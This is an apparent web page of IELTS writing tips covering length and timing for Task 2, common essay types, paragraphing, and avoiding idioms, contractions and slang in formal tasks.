Ensure that you write approx. 300 words in task 2 as reading long answers can be frustrating for the examiner.
Writing lengthy essays will also leave you with less time to revise.
Make sure you have appropriate amount of time for each task.
Practice writing essays within the given time limit to develop speed and efficiency.
Keep track of your progress and adjust your writing speed accordingly.
Share your essays with a teacher or experienced tutors for feedback.
Identify areas that need improvement and work on enhancing those skills.
Practice writing essays regularly to refine your technique.

Follow these guidelines to practice your essay writing skills and boost your confidence!

Some sample essays are given below in order to help the candidates enhance their writing skills:

Related Articles English Essay Writing Tips, Examples, Format IELTS Academic Test Experience IELTS Exam Pattern 2024: Section-wise IELTS Exam Paper Pattern, Question Types IELTS Exam Syllabus 2024 (Section-Wise): Listening, Reading, Writing & Speaking

Writing is an important aspect of the IELTS exam. Getting excellent scores in essay writing will definitely improve the prospects of clearing the exam for the applicants. A good understanding of the English language and a proper grasp of grammar along with the knowledge of how the writing will be assessed in the exam are the key to scoring band 9 in essay writing. Diligently practicing with a timer, and seeking feedback from experienced tutor will greatly improve one writing skills and help boost their confidence, which are important for achieving excellent scores in essay writing.

Only use idioms when it is appropriate. Writing Task 1 Academic, Writing Task 2 and formal letters are not appropriate as they require a formal tone. Don’t overuse idioms in the Speaking test. Don’t use idioms you don’t understand.

Some of the essay types seen in IELTS exams are- 1. Opinion essays (Agree or Disagree) 2. Advantages and Disadvantages essays. 3. Discussion (Discuss Both Views) essays. 4. Problem and Solution essays

Argumentative and expository essays are focused on conveying information and making clear points, while narrative and descriptive essays are about exercising creativity and writing in an interesting way.

On all writing tasks, paragraphing is important. You will really limit your score if you don’t use paragraphs or don’t use them well. So, make sure when you are preparing for the exam , you must review and practice proper paragraphs. A few key ideas here are topic sentences, supporting ideas, and staying on topic.

Avoid using contractions in your sentences. Example, can’t, don’t, it’s etc. Slang words and colloquialisms should be avoided in the writing tasks. Do not use the same words repeatedly.

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